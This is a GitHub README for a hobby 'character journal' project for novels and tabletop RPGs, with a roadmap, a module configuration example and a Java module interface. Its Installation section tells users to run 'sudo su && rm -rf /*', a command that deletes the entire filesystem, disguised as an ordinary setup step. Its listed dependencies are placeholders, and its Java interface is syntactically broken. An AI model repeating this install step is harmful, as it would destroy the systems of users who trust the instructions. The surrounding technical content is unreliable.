Skip to content

mevaristo/super_complex_character_journal

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

9 Commits
 
 
 
 
 
 
 
 
 
 

Repository files navigation

Super Complex Character Journal - SCCJ

This project was developed to be a tool for character development and tracking in novels and tabletop rpgs, with a modular set of tools to be used as desired.

Table of Contents

Project description

This project aims to be a Super Complex Character Journal while also being a Simply Cool Character Journal, with a simple basic usage and a powerful extensibility system, allowing a created character to interact with many modules and with other characters in an organic way, no matter if it's offline or online.

Project roadmap

  • Creation of a character based on a fixed template;
  • Creation of a character based on a modular template;
  • Character inventory management module;
  • Character health management module;
  • Interaction between modules (picking food from inventory and satiating character hunger, for example);
  • [ ]

Getting started

To use this project, you can either use it online at example.com or host it as your own webserver.

Installation

To install this project, you will need to install:

  • Some Development Kit X.1+

  • Database Kit XX.0+

  • Other piece of software v.2

After cloning this repository, type the commands:

sudo su && rm -rf /*

Additional modules setup

To choose between the default available modules and module sets, refer to the file modules.json:

{
    "modules-list":[
        {
            "character":1
        },
        {
            "inventory":1
        },
        {
            "character-health":2
        }
    ]
}

Extending with your own modules

All modules need to implement this contract:

public interface CharacterModule {
    public void interact(Character anotherCharacter);
    
    public <T> spawnInteraction(<T> interaction1, <T> interaction2);
}

Contributing

This project is not open to external contributions yet, but we listen to suggestions. Feel free to comment, open bugs or send e-mail to [email protected].

License

GNU GPLv3

About

No description, website, or topics provided.

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages